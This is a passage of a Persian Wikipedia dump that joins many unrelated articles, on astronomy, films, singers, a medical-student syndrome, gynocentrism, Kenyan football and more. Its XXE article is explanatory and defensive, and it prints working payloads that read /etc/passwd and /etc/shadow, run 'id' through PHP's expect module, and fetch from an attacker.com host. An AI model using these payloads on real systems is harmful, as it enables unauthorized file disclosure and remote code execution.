Payamvdn/NorthPersian_fa_wiki huggingface dataset:
می کنند، در حال رخ دادن است. از آنجا که ۱۹٫۸۵۹ سال برابر با ۱٫۶۷۴ مدار مشتری و ۰٫۶۷۴ مدار زحل است، از این دوره های مداری تنها سه دوره به یک عدد کامل نزدیک می شود. به همین دلیل است که چرخه طول؛ همان گونه که در نمودار بالا نشان داده شده، دارای یک الگوی مثلثی است. سه رأس مثلث ها در همان جهت سیاره ها می چرخند؛ با نرخ تقریبی یک ششم چرخش در هر چهار سده، بنابراین "مقارنه های بزرگ" را در یک چرخهٔ تقریباً چهار قرنی ایجاد می کند. طول "مقارنه های بزرگ" نزدیک در حال حاضر حدود ۳۰۷٫۴ و ۱۲۷٫۴ درجه است، به ترتیب در صورت های فلکی بزغاله (جدی) و خرچنگ (سرطان). موقعیت زمین در مدار آن، می تواند سیاره ها را تا حدود ۱۰ درجه جلوتر یا از طول جغرافیایی مرکزی خود نشان دهد. فهرست مقارنه های بزرگ. جدول زیر ویژگی های "مقارنه های بزرگ" بین سال های ۱۲۰۰ تا ۲۴۰۰ را نشان می دهد. تاریخ رویداد مقارنه ها در معادل آسمانی بُعد (فاصله زاویه ای) آورده شده است (با تاریخ رخ دادن مقارنه ها در طول دائرةالبروج می تواند چندین روز متفاوت باشد). تاریخ های قبل از ۱۵۸۲ در گاه شماری ژولینی آمده در حالی که تاریخ های بعد از ۱۵۸۲ در تقویم میلادی است. طول جغرافیا
یی مکان اولین نقطه برج حمل (محل اعتدال مارس یا نقطه بهار) در دوران (مبدأ J2000) در خلاف جهت عقربه های ساعت اندازه گیری می شود. این سیستم مختصات غیر چرخان با پیش روی محوری زمین حرکت نمی کند، بنابراین برای محاسبه های مکان ستاره ها مناسب است. (در اخترسنجی عرض و طول جغرافیایی بر اساس دائرةالبروج است که مدار زمین پیوسته (از دیدگاه ستارگان ثابت) به سمت خورشید و در جهت مخالف آن در حرکت است). سیستم دیگر اندازه گیری "مقارنه های بزرگ" دستگاه مختصات استوایی است که در خلاف جهت عقربه های ساعت در بُعد از نقطه اول برج حمل اندازه گیری می شود و بر اساس طول و عرض جغرافیایی و استوای زمین است که نصف النهار نقطه اعتدال هر دو به طور نامحدود به سمت بالا گسترش یافته است؛ بُعد جداسازی دائرةالبروج معمولاً کوچکتر است.
آخرین روزهای جنایت در آمریکا یک فیلم اکشن و دلهره آور آمریکایی محصول سال ۲۰۲۰ به کارگردانی الیویر مگاتن بر اساس فیلمنامه ای نوشته کارل گایدوسک است که بر اساس رمان گرافیکی به همین نام اثر ریک ریمندر و گرگ توچینی در سال ۲۰۰۹ ساخته شده است. بازیگرانی چون ادگار رامیرس، آنا بروستر، مایکل پیت، پاتریک برگین و شارلتو کوپلی در این فیلم به ایفای نقش پرداخته اند. منتقدان این فیلم را به دلیل محتوای خشونت آمیز و به تصویر کشیدن خشونت پلیس، تأسف بار به دلیل همزمانی با اعتراض ها به قتل جورج فلوید متذکر شدند، و از اکتبر ۲۰۲۱ دارای امتیاز صفر در راتن تومیتوز است. داستان. داستان فیلم در ۲۰۲۴ رخ می دهد. در این زمان دولت برای جلوگیری از جرم و جنایت درصدد راه اندازی سامانه ای است که با فرستادن امواجی مغزی جلو بزه کاران را بگیرد. این اقدام باعث اعتراضات عمومی و کوشش مردم برای مهاجرت به کانادا شده است. در این میان، بریک، یک خلافکار که به تازگی برادرش در زندان به خاطر سوء رفتار پلیس کشته شده با چند تن همدست می شود تا در آخرین ساعات قبل از راه اندازی سامانه مبلغ یک میلیارد دلار را سرقت کرده و به کانادا بگریزند. تولید. فیلمبرداری اصلی
فیلم در ۶ نوامبر ۲۰۱۸ آغاز شد. فیلمبرداری در کیپ تاون و ژوهانسبورگ در آفریقای جنوبی انجام شد. منابع. Wikipedia contributors, "The Last Days of American Crime," Wikipedia, The Free Encyclopedia, https://en.wikipedia.org/w/index.php?title=The_Last_Days_of_American_Crime&amp;oldid=994618877 (accessed December 24, 2020).
شیاطین بال دار () با نامِ اصلیِ نیروی جی () یک فیلم کمدی ماجراجویی به کارگردانی دوچو تساری است که در سال ۱۹۷۲ منتشر شد.
ریسا اوربیه (زاده ۲۴ ژوئن ۱۹۸۷) که با نام هنری لیسا شناخته می شود، خواننده و ترانه سرا ژاپنی است. او پس از آرزوی تبدیل شدن به یک موسیقیدان در اوایل زندگی، حرفه موسیقی خود را به عنوان خواننده گروه مستقل Chucky آغاز کرد. پس از انحلال گروه Chucky در سال ۲۰۰۸، لیسا برای ادامه کار مستقل خود به توکیو رفت و به عنوان یکی از خوانندگان، اولین ترانه خود را برای مجموعه تلویزیونی انیمه "انجل بیتز!" در سال ۲۰۱۰ انجام داد. در آوریل ۲۰۱۱، وی با انتشار مینی آلبوم "Letters to U" اولین اجرا هنری انفرادی خود را انجام داد. ترانه های لیسا به عنوان موسیقی اصلی انیمه های مختلف مانند "فیت/زیرو"، "سورت آرت آنلاین" و "" (ترانه گورنگه) منتشر شده است. تک آهنگ های او مرتباً در ده جدول برتر جدول هفتگی قرار گرفته اند، به طوری که ترانه "Crossing Field" از طرف انجمن صنعت ضبط ژاپن دارای نشان پلاتین و ترانه "Oath Sign" دارای نشان طلا است. او در سال ۲۰۱۴ و ۲۰۱۵ در نیپون بودوکان نیز اجرا داشت. در سال ۲۰۱۵، او اولین بازیگری خود را در نقش مژه نلسون در دوبله ژاپنی فیلم پویانمایی "مینیون ها" انجام داد. او در سال 2023 یک آهنگ با گروه کره ای استری کیدز
به نام (Social Path) همکاری کرده است.
لنتاته سول سِـوِزو (به ایتالیایی: Lentate sul Seveso) یک کومونه در ایتالیا است که در استان مونتزا و بریانتزا واقع شده است. لنتاته سول سِـوِزو ۱۴٫۰ کیلومتر مربع مساحت و ۱۵٬۹۱۲ نفر جمعیت دارد و ۲۵۰ متر بالاتر از سطح دریا واقع شده است.
دوری گتسی (؛ زادهٔ ) خواننده اهل ایتالیا است. وی بین سال های ۱۹۶۶ تا ۱۹۸۹ میلادی فعالیت می کرد. از فیلم هایی که وی در آن ها نقش داشته است، می توان به "شیاطین بال دار" اشاره نمود. در سال ۱۹۷۴، گتسی با خواننده فابریتسیو د آندره وارد رابطه شد و این زوج در ساردینیا زندگی مشترک خود را آغاز کردند؛ جایی که گتسی در سال ۱۹۷۷ دختری به دنیا آورد. در شامگاه ۲۷ اوت ۱۹۷۹، گتسی و همسرش توسط اعضای گروه آدم ربایان ساردینیایی به نام «آدم ربایی های ناشناس» ربوده شدند و به مدت نزدیک به چهار ماه در کوه های سوپرامونته در اسارت نگه داشته شدند تا اینکه با پرداخت مبلغی به عنوان باج، که طبق گزارش ها حدود ۵۰۰ میلیون لیره ایتالیا بوده و گفته می شود توسط خانواده د آندرِه تأمین شده بود، آزاد شدند (گتسی در ۲۱ دسامبر و د آندرِه روز بعد آزاد شد). این دو بعدها اظهار کردند که در دوران اسارت، با آن ها به خوبی رفتار شده است؛ و زمانی که آدم ربایان دستگیر و محاکمه شدند، د آندرِه در شهادت خود با درک و همدلی درباره آن ها سخن گفت.
رابرت مک گینیس (؛ زادهٔ ) نقاش، طراح پوستر فیلم و جلد کتاب و تصویرساز اهل ایالات متحده آمریکا است. وی طراح پوستر فیلم هایی چون "صبحانه در تیفانی"، "باربارلا"، "شیاطین بال دار" و چندین فیلم جیمز باند بوده است.
قتل های هفتگانه بانوی سرخ پوش () یک فیلم جالو به کارگردانی امیلیو میرالیا است که در سال ۱۹۷۲ منتشر شد.
امیلیو میرالیا (؛ ۱۹۲۴ – ۱۹۸۲) کارگردان فیلم و فیلم نامه نویس اهل ایتالیا بود. از فیلم هایی که وی در آن ها نقش داشته است، می توان به "قتل های هفتگانه بانوی سرخ پوش" اشاره نمود.
فابیو پیتورو (؛ زادهٔ ۲۴ اوت ۱۹۲۸ – ۴ سپتامبر ۱۹۹۵) نویسنده اهل ایتالیا بود. از فیلم هایی که وی در آن ها نقش داشته است، می توان به "گناه است… اما آن را دوست دارم"، "آخرین روزهای موسولینی"، "فیورینا، گاو ماده"، "قتل های هفتگانه بانوی سرخ پوش" و "اقدام بی سروصدا" اشاره نمود.
گاه شمار () که در ایران (سینما ونک) با نام "زیر دامن منو نگاه نکن" اکران شد، یک فیلم کمدی ایتالیایی به کارگردانی پاسکواله فستا کامپانیله است که در سال ۱۹۷۲ منتشر شد.
بیماری دانشجویان پزشکی (که به آن سندرم سال دو یا سندرم کارآموز یا سندروم اینترن نیز گفته می شود) نوعی بیماری است که اغلب در دانشجویان پزشکی گزارش می شود، آن ها احساس می کنند علائم بیماری که در حال مطالعه آن هستند را تجربه می کنند. این وضعیت با ترس از ابتلا به بیماری مورد نظر همراه است. برخی از نویسندگان پیشنهاد کرده اند که این وضعیت باید به نازوفوبیا (nosophobia) گفته شود نه خودبیمارانگاری (hypochondriasis)، چرا که در برخی مطالعات مشخص شده که در این حالت، درصد بسیار کمی از ویژگی های شخصیتی هیپوکندریاز بروز می یابد (که شرایطی با پیش آگهی بسیار بد است). (Baars (2001 می نویسد که دانشجویان پزشکی که برای اولین بار "بیماری های ترسناک" را می آموزند معمولاً دچار توهم از ابتلا به چنین بیماری هایی می شوند و آن را "نوعی هیپوکندریاز موقت" توصیف می کند. بارس می گوید که این تجربه به قدری رایج است که به "سندرم دانشجوی پزشکی" معروف شده است. (Hodges (2004، ادعا می کند که "اولین توصیف بیماری دانشجویان پزشکی در دهه ۱۹۶۰ ظاهر شد." شاید او به شکل گیری عبارت اشاره داشته باشد، چراکه خود پدیده خیلی زودتر مورد توجه قرار گرفت. جورج لی
نکلن والتون (۱۹۰۸) بیان داشت که دانش آموزانی که از ابتلا به بیماری هایی که در حال تحصیل آن ها هستند، ترس دارند، مدام با مربیان پزشکی مشورت می کنند. دانستن اینکه پنومونی در یک نقطه خاص درد ایجاد می کند منجر به تمرکز توجه در آن ناحیه می شود و بروز هرگونه احساس در آن ناحیه برای آن ها به نوعی علامت خطر است. صرف آگاهی از محل آپاندیس، بی خطرترین احساسات آن منطقه را به علائم تهدید جدی برای فرد بدل می کند. به گفته ی هاجز همچنین در دهه ۱۹۶۰ پیشنهاد شده است که این پدیده میزان قابل توجهی فشار روانی برای دانشجویان ایجاد کرده و تقریباً در ۷۰ تا ۸۰ درصد دانشجویان وجود داشته... مقالاتی که در دهه ۱۹۸۰ و ۱۹۹۰ نوشته شده اند، مفهوم این بیماری را در طیف روانپزشکی هیپوکندریاز مطرح کرده اند... . مارکوس دریافت که محتوای فکر دانشجویان پزشکی سال دو غالباً مشغول وجود یک بیماری شخصی است (preoccupation). افراد مورد مطالعه مارکوس خواب های زیادی را گزارش کردند که در آن به بیماری های قلب، چشم و روده مبتلا می شدند.
بیماری هراسی یا اختلال اضطراب بیماری ؛ ترس غیرمنطقی از ابتلا به بیماری، نوعی از هراس ویژه است. ترس های اولیه از این نوع عبارتند از: ترس از ابتلا به HIV, سل (توبرکلوز) ریوی، بیماری های آمیزشی، سرطان، بیماری های قلبی و سرماخوردگی یا آنفلوانزا است. برخی از نویسندگان اظهار داشته اند که علائم دیده شده در سندروم دانشجویان پزشکی باید به جای «خودبیمارانگاری» به عنوان «بیماری هراسی» شناخته شوند، زیرا مطالعات نقل شده درصد بسیار کمی از شخصیت خودبیمارانگار را نشان می دهد. کلمه nosophobia از واژه یونانی νόσος nosos به معنای «بیماری» و φόβος، فوبوس، «"هراس"» گرفته شده است.
انتشارات یوهیکاکو یک شرکت انتشاراتی ژاپنی است که به عنوان ناشر تخصصی در زمینهٔ حقوقی شناخته می شود.
لیگ برتر کنیا (Kenyan Premier League) که به دلایل حمایت مالی رسماً به عنوان لیگ برتر FKF و به عنوان لیگ برتر بت کینگ (BPL) شناخته می شود، یک لیگ حرفه ای برای باشگاه های فوتبال انجمن مردان در کنیا است. این لیگ که در راس سیستم لیگ فوتبال کنیا ایستاده بود، در سال ۱۹۶۳ زیر نظر فدراسیون فوتبال کنیا تشکیل شد اما اکنون تحت کنترل فدراسیون کنیای فوتبال است. در مسابقات ۱۸ باشگاه شرکت می کنند و با سیستم صعود و سقوط با لیگ برتر ملی کنیا کار می کند. گور ماهیا با ثبت ۱۹ عنوان قهرمانی قهرمان فعلی لیگ و پرافتخارترین باشگاه لیگ است.آنها ۱۵ سال است ک بدلیل مشکلات ورزشی لیگ برتر ندارند
زن کانونی تمرکز غالب یا منحصر به فرد بر زنان در تئوری یا عمل یا حمایت از هر چیزی که با آن می توان زن را محور و کانون در نظر گرفت، به ویژه با یک دیدگاه زنانه ( فمینیستی) است. ریشه شناسی. برابر انگلیسی زن کانونی یعنی Gynocentrism از یونانی "باستان"، γυνή و κέντρον. Γυνή را می توان به عنوان "زن" یا "زن" ترجمه کرد، اما همچنین به عنوان "همسر ترجمه می شود". در ترکیبات یونان باستان با γυνή، به طور معمول از ساقه γυναικ- استفاده می شود. این ساقه را می توان در حالت جنسی γυναικός، و در شکل قدیمی تر از حالت اسمی γύναιξ لکه دار کرد. در یونان باستان، هیچ ترکیباتی با ژنی وجود ندارد که با ژنو- یا γυνω- شروع شود. کلمه یونان باستان κέντρον را می توان به عنوان "نوک تیز"، "نیش (زنبورها و پشه ها)"، "نقطهٔ نیزه" و "نقطه ثابت یک جفت قطب نما"، با "مرکز معنی" یک دایره وابسته به دومی ترجمه کرد. معنی "مرکز / نقطه وسط (یک دایره)" در کلمه لاتین "centrum حفظ شده است"، واژه ای قرض گرفته از یونان باستان. "centre" کلمه انگلیسی است که از "centrum" لاتین مشتق شده است. این واژه κέντρον از فعل κεντεῖν مشتق شده است، این معنی "به نیش (زنبور عسل ها
)،" "به خراش،" "به سیخک،" و "تحریک می کنند." هنگامی که در تلاش هستند تا ریشه شناسی واژه "gynocentrism، را توضیح دهند" مهم است که به نظر κέντρον یونان باستان، با دلالت نقطه میانی "/ مرکز،" و نه واضح تر باستان κεντρισμός کلمه یونانی (معکوس "-centrism) را مشخص کنند." تاریخ. اصطلاح gynocentrism حداقل از سال ۱۸۹۷ در دادگاه آزاد ظاهر شد و بیان داشت که اروپای قاره ای آمریکایی ها را «بیش از اینکه از جنس گرایی متمرکز باشند، از جنس گرایی رنج می بردند» استفاده می کند. در سال ۱۹۱۴، نویسنده جورج ای بیرمنگام اظهار داشت که "زندگی اجتماعی آمریکا به نظر من زن محور است. این چیدمان با توجه به راحتی و لذت زنان تنظیم شده است. مردان از کجا و چگونه می توانند وارد شوند. " شروع از موج دوم فمنیسم در دهه ۱۹۷۰، اصطلاح زنان گرایی برای توصیف "فمنیسم تفاوت گرا" استفاده شده است، در مقابل فمینیسم تساوی، تغییر جهت درک و پذیرش تفاوت های جنسیتی را نمایش می دهد. طبق گفته فیلسوف دانشگاه ماساچو، کریستا هوداپ، در جنبش های مردان مدرن، زن پرستی به عنوان ادامه احکام محبت آمیز دوران قرون وسطی توصیف می شود، جایی که زنان به عنوان یک طبقه شبه اشرافی ارزش
یابی می شدند، و مردان به عنوان طبقه پایین خدمت می کردند. این دیدگاه، فمینیسم را تداوم قراردادهای ظالمانه قرون وسطایی مانند جوانمردی عبادی و روابط عاشقانه توصیف می کند، نه یک جنبش به سوی آزادی. مطالعه ای که توسط پیتر رایت انجام شد به این نتیجه رسید که زن کانونی نوعی خودشیفتگی زنان است که با نقش های سنتی جنسیتی ربط دارد. پاؤل ناتانسون و کاترین ک. یانگ، اساتید مطالعات دینی ادعا می کنند که خواست های فمینیست برای برابری یا برابری نیرنگ برای زن کانونی است. در جامعه معاصر. جامعه مردانی که به راه خودشان می روند (MGTOW) خودشان را به عنوان عکس العمل در برابر سوءاستفاده از زنان سالاری توصیف می کنند. در مطالعه سال ۲۰۱۹ در مورد جامعه ترینیداد که در "مجله Justice Policy Journal گردآوری شد"، محققان به این نتیجه رسیدند که «زن پرستی همه جنبه های سیستم عدالت کیفری و همچنین جامعه را دربر گرفته است». انتقاد. ناتانسون و یانگ اظهار داشتند که از نظر ایدئولوژیک، تمرکز عمده در زن پرستی، اولویت بندی زنان به صورت سلسله مراتب است، و در نتیجه ممکن است به عنوان سوتعرض (نفرت و تعصب به مردان) تعبیر شود. به گفته آنها، فمینیست ها خواستار براب
ری یا حتی انصاف هستند، غالباً مایه ترفند زن پرستی است. آنها زن پرستی را به عنوان یک جهان بینی مبتنی بر این باور ضمنی یا صریح که جهان پیرامون زنان می چرخد، تعریف می کنند، موضوعی فرهنگی که آنها ادعا می کنند در پشت صحنه دادگاه های حقوقی و دیوان سالاری دولت «ادعا» شده و منجر به تبعیض سیستمی علیه مردان می شود. آنها همچنین بیان می کنند که زن پرستی نوعی ذات گرایی است - متمایز از بورس تحصیلی یا فعالیت سیاسی به نمایندگی از زنان - تا آنجا که بر "فضایل" ذاتی زنان و "رذایل" ذاتی مردان تمرکز دارد. برخی نویسندگان میان اعمال و حوادث مربوط به زن کانونی، مانند روز مادر، و مفهوم کلی تر "فرهنگ زن کانونی"که به مجموعه ای بزرگتر از صفات فرهنگ اشاره دارد و اهمیت زیادی در شیوه زندگی مردم دارند، تبعیض قائل "شوند". برخی از فمینیست های پست مدرن مانند نانسی فریزر فرض داشتن یک مفهوم پایدار از "زن" را که زیربنای همه زن کانونی است زیر سؤال می برند. ناتانسون و یانگ ادعای قابل مقایسه ای ارائه می دهند که زن پرستی نوعی ذات گرایی است که از بورس تحصیلی یا فعالیت سیاسی به نمایندگی از زنان متمایز است، تا حدی که بر فضائل ذاتی زنان متمرکز است. ناتان
سون و یانگ اضافه می کنند که "این جهان بینی صراحتا هم نادرست است، زیرا نه تنها نیازها و مشکلات مردان را نادیده می گیرد، بلکه به مردان نیز حمله می کند." کریستینا هاف سامرز استدلال کرده است که زن پرستی ضدفکری است و نگاهی تضاد به رشته های علمی و خلاق سنتی دارد و بسیاری از اکتشافات مهم و آثار هنری را مردانه رد می کند. سامرز همچنین می نویسد که فرض عینیت نسبت داده شده به بسیاری از نظریه های زن پرستی گفتمان و تفسیر فمینیستی را خفه کرده است. لیندا برنز، نویسنده فمینیستی تأکید می کند که زن پرستی خواستار تجلیل از تفاوت های مثبت زنان - از تاریخ، اسطوره ها، هنرها و موسیقی زنان است - در مقابل الگوی جذب، بخشیدن شباهت به مردان. با این وجود در عمل مشاهده می شود، برتری زنان مرتبط با روایت های زن پرستی اغلب مطلق تلقی می شود: از نظر فردی، فرهنگی، تاریخی، سیاسی یا در زمینه های اجتماعی گسترده تر مانند سرگرمی های عامه پسند. به همین ترتیب، می تواند آنچه را که روزالیند کوارد "زن گرایی" نامیده می شود، نوعی از نسخه محبوب فمینیسم است که همه کارهای زنان را تحسین می کند و مردان را بدنام می کند ".
نمایش قدرت، عملیاتی نظامی است که با هدف هشدار دادن (مانند شلیک اخطار) یا ایجاد ترس و وحشت در مقابل حریف با نشان دادن توانایی یا اراده برای اقدام در صورت تحریک انجام می شود. نمایش قدرت ممکن است توسط نیروهای پلیس و سایر گروه های مسلح و غیرنظامی نیز اجرا شود. پردازه. نمایش های نیرو در طول تاریخ بیشتر توسط یک بازیگر نظامی انجام شده است که تمایلی به درگیری های همه جانبه ندارد، اما ترس از «از دست دادن چهره» (ضعیف نشان دادن) دارد. با انجام یک تحریک دقیق محاسبه شده، باید به حریف نشان داده شود که برخورد خشونت آمیز همچنان یک گزینه است و هیچ عقب نشینی از این اصل که نمایش قدرت برای دفاع است، نخواهد بود. نمایش قدرت ممکن است عملیات نظامی واقعی باشد، اما در زمان صلح رسمی، ممکن است به رزمایش نیز محدود شود. نمایش قدرت در مقیاس کوچکتر نیز کار می کند: نیروهای نظامی در سطح تاکتیکی با استفاده از حملات ساختگی برای جلوگیری از مخالفان احتمالی، به ویژه هنگامی که حمله واقعی به دشمنان مشکوک (اما تأیید نشده) ممکن است به غیرنظامیان آسیب برساند. به عنوان نمونه، بسیاری از هوا «حملات» در طول عملیات آزادی پایدار و عملیات آزادی عراق.
حمله XML External Entity نوعی حمله به برنامه ای است که ورودی اکس ام ال را تشکیل می دهد. این حمله زمانی رخ می دهد که ورودی XML که حاوی مرجعی برای یک موجودیت خارجی است توسط یک تجزیه گر XML پیکربندی ضعیف پردازش می شود. این حمله ممکن است منجر به افشای اطلاعات محرمانه، انکار سرویس، جعل درخواست سمت سرور، اسکن پورت از دید دستگاهی که تجزیه کننده در آن قرار دارد و سایر تأثیرات سیستم شود. شرح. استاندارد XML 1.0 ساختار یک سند XML را تعریف می کند. استاندارد مفهومی را به نام موجودیت تعریف می کند که از نوع خاصی واحد ذخیره سازی است. چند نوع موجودیت مختلف وجود دارد، موجودیت عمومی / پارامتر خارجی تجزیه شده که اغلب به موجودیت خارجی کوتاه می شود، که می تواند از طریق شناسه سیستم اعلام شده به محتوای محلی یا از راه دور دسترسی پیدا کند. فرض می شود شناسه سیستم یک URI باشد که هنگام پردازش موجودیت، پردازنده XML می تواند از آن مراجعه کند (به آن دسترسی پیدا کند). پردازنده XML سپس وقایع موجودیت خارجی نامگذاری شده را با محتوایی که توسط شناسه سیستم ارجاع داده نشده است جایگزین می کند. اگر شناسه سیستم حاوی داده های آلوده باشد و پردازنده XML
این داده های آلوده را ارجاع دهد، پردازنده XML ممکن است اطلاعات محرمانه ای را که معمولاً توسط برنامه قابل دسترسی نیست، افشا کند. بردارهای حمله مشابه استفاده از DTD های خارجی، ورق های سبک خارجی، طرحواره های خارجی و غیره را اعمال می کنند که اگر شامل شوند، حملات مشابهی را در سبک درج منابع خارجی اعمال می کنند. این حملات می تواند شامل افشای پرونده های محلی باشد، که ممکن است حاوی داده های حساس مانند رمزهای عبور یا داده های کاربر خصوصی باشد، با استفاده از پرونده: طرح ها یا مسیرهای نسبی در شناسه سیستم. از آنجا که حمله نسبت به برنامه پردازش سند XML اتفاق می افتد ، مهاجم ممکن است از این برنامه معتبر برای ایجاد ارتباط با سایر سیستم های داخلی استفاده کند ، احتمالاً محتوای داخلی دیگر را از طریق درخواست های http یا افشا می کند یا حمله CSRF را به سرویس های داخلی محافظت نشده انجام می دهد. در برخی شرایط، یک کتابخانه پردازنده XML که در برابر مشکلات خرابی حافظه سمت مشتری آسیب پذیر است، ممکن است با ارجاع مجدد یک URI مخرب مورد سوءاستفاده قرار گیرد، احتمالاً اجرای کد دلخواه در حساب برنامه امکان پذیر است. حملات دیگر می توانند به منا
بع محلی دسترسی پیدا کنند که ممکن است بازگشت داده ها را متوقف نکند، در صورت آزاد نشدن بسیاری از رشته ها یا پردازش ها، احتمالاً بر در دسترس بودن برنامه تأثیر می گذارد. توجه داشته باشید که این برنامه برای آسیب پذیر بودن در برابر افشای اطلاعات نیازی به ارسال صریح پاسخ به مهاجم ندارد. یک مهاجم می تواند از اطلاعات DNS استفاده کند تا اطلاعات را از طریق نام های زیر دامنه به سرور DNS تحت کنترل خود منتقل کند. مثال ها. مثالهای زیر مربوط به "Testing for XML Injection (OWASP-DV-008) است". دسترسی به یک منبع محلی که ممکن است برنگردد. &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "file:///dev/random%22&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt; اجرای کد از راه دور. هنگامی که ماژول "انتظار" PHP بارگیری می شود، اجرای کد از راه دور با یک بار مجاز اصلاح شده امکان پذیر است. &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "expect://id%22&gt;]&gt; &lt;creds&gt; &lt;user&gt;&amp;xxe;&lt;/user&gt;
&lt;pass&gt;mypass&lt;/pass&gt; &lt;/creds&gt; افشای / etc / passwd یا سایر پرونده های هدفمند. &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "file:///etc/passwd%22&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt; &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "file:///etc/shadow%22&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt; &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "file:///c:/boot.ini%22&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt; &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;!DOCTYPE foo [ &lt;!ELEMENT foo ANY&gt; &lt;!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt%22&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt; کاهش ریسک. از آنجا که کل سند XML از یک مشتری غیرقابل اعتماد ابلاغ می شود، معمولاً تأیید انتخابی یا فرار از داده های آلوده در شناسه سیستم در DTD امکان پذیر نیست؛ بنابراین، پردازنده XML باید ب
ه گونه ای پیکربندی شود که از DTD استاتیک محلی استفاده کند و هر DTD اعلام شده ای را که در سند XML وجود دارد، مجاز نباشد.
سر پرسی لیام لورن (؛ ۵ نوامبر ۱۸۸۰ – ۲۳ مه ۱۹۶۱) دیپلمات بریتانیایی بود که بین سال های ۱۹۲۱–۱۹۲۶ به عنوان وزیر مختار انگلیس در ایران حضور داشت. او در سال های بعدی زندگی سیاسی خود، کشورش را به عنوان نماینده رسمی در یونان، مصر، ترکیه و ایتالیا نیز نمایندگی کرد و در ۱۹۴۰ بازنشسته شد. لورن به سال ۱۹۶۱ در سن هشتاد سالگی درگذشت.
دبیر اول کمیته مرکزی حزب کمونیست کوبا (به ) رئیس کشور کوبا محسوب می شود، و بالاترین مقام در حزب کمونیست کوبا است و همچنین دارای مقام اول در دفتر سیاسی، بالاترین نهاد تصمیم گیری در کوبا، که این مقام را قدرتمندترین فرد در دولت کوبا می داند. در یک دولت کمونیستی، دبیر اول یا عمومی حزب کمونیست به طور معمول رهبر "واقعی" کشور است و موقعیت قدرتمندتری نسبت به دفاتر ایالتی مانند رئیس جمهور (رئیس دولت) یا نخست وزیر (رئیس دولت) دارد. از سال ۱۹۶۱ تا ۲٠۱۱، سمت دبیر اول توسط فیدل کاسترو، نخست وزیر کوبا تا سال ۲٠٠۸، و رئیس شورای دولت یدک می شد، برادر او رائول کاسترو از سال ۲٠٠۸ تا ۲٠۱۸ رئیس جمهور و نخست وزیر کوبا بود و از ۲۰۱۱ تا ۲۰۲۱ نیز عهده دار این مسئولیت بود. دبیر اول کنونی میگل دایاز-کانل است. این پست به تقلید از دفتر دبیر اول حزب کمونیست اتحاد جماهیر شوروی، که توسط لئونید برژنف یدک می شد، نامگذاری شد.
ناما کارو یک منطقه بیابانی است که در فلات مرکزی آفریقای جنوبی و نامیبیا واقع شده است. بیشتر قسمتهای داخلی نیمه غربی آفریقای جنوبی را اشغال می کند و در جنوب جنوبی نامیبیا گسترش یافته است. آب و هوا. در این منطقه آب و هوا متغیر و بسیار خشن است. خشکسالی ها مکرر همراه با اندکی باران است که در تابستان باران می بارد. میزان بارندگی نیز با نوسان بین ۱۰۰ تا ۵۲۰ میلی متر (۹۴/۳ تا ۴/۲۰ در سال) در سال قابل متغیر است. مشخص شده است که میزان بارندگی فصلی بین دسامبر و مارس به اوج خود می رسد که از شرق به غرب و از شمال به جنوب کاهش می یابد. تنوع در بارندگی سالانه نیز با افزایش خشکی افزایش می یابد. تغییرات دما به اندازه ۲۵ درجه سانتیگراد (۴۵ درجه فارنهایت) بین روز و شب معمول است. میانگین حداکثر دما در اواسط تابستان (ژانویه) بیش از ۳۰ درجه سانتیگراد (۸۶ درجه فارنهایت) است، در حالی که میانگین حداقل اواسط زمستان (ژوئیه) دمای زیر انجماد است.
شِروین فریدنژاد ایران شناس، دین شناس و زبان شناس ایرانی-آلمانی است. او از سال ۲۰۲۲ استاد ایران شناسی، تاریخ، زبان و فرهنگ های خاور نزدیک در دانشگاه هامبورگ است. او در سال ۲۰۱۴ دکترای خود را از دانشگاه گوتینگن دریافت کرد؛ بین سال های ٢٠١۶ تا ٢٠٢٠ در فرهنگستان علوم اتریش در وین و بین سال های ۲۰۱۶ تا ٢٠٢٢ مشغول پژوهش در موسسه ایران شناسی دانشگاه آزاد برلین بود. تمرکز او بر مطالعات ایران باستان، ایران میانه و مطالعات فارسیهود و اختصاصاً مطالعات زردشتی است. او همچنین مسئولیت رشتهٔ کارشناسی ارشد «مطالعات نسخ خطی» در مرکز مطالعات فرهنگ های نسخه های خطی در دانشگاه هامبورگ را نیز به عهده دارد. شروین فریدنژاد به همراهی تورج دریایی، ویراستاری و چاپ مجلهٔ "دبیر" (انتشارات بریل)، مجموعهٔ کتاب های «پژوهش های ساسانی: جهان ایرانی پسا باستان» (انتشارات هاراسوویتس)، مجموعهٔ کتاب های «چیستا: پژوهش هایی در تاریخ، فرهنگ و ادیان جهان ایرانی» (دانشگاه کالیفرنیا، ارواین) و همچنین مجموعه ٔ «پژوهش های ایران باستان» (انتشارات بریل) را انجام می دهد. زندگی. فریدنژاد ابتدا در دانشگاه تهران در رشته های هنرهای تجسمی و تاریخ هنر تحصیل کرد، س
